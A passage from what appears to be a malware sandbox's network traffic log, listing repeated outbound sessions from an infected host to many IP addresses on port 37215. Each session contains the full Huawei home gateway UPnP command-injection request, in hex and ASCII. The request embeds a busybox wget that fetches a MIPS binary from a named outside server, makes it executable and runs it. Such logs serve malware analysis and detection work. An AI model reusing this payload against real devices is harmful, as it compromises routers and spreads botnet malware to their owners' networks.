2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
283	192.168.2.23	51746	156.110.247.233	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.255707026 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
284	192.168.2.23	45840	156.152.96.204	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.255789042 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
285	192.168.2.23	44038	156.42.21.62	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.255840063 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
286	192.168.2.23	44130	156.151.10.77	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.255877018 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
287	192.168.2.23	54086	156.123.221.185	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.255917072 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
288	192.168.2.23	42316	156.170.125.222	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.255942106 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
289	192.168.2.23	41036	156.69.248.105	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.255975962 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
290	192.168.2.23	34408	197.214.96.213	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.256025076 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
291	192.168.2.23	35190	156.2.158.240	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.256095886 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
292	192.168.2.23	45658	156.125.82.99	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.256206989 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
293	192.168.2.23	45778	197.46.115.89	37215

Timestamp	Bytes transferred	Direction	Data
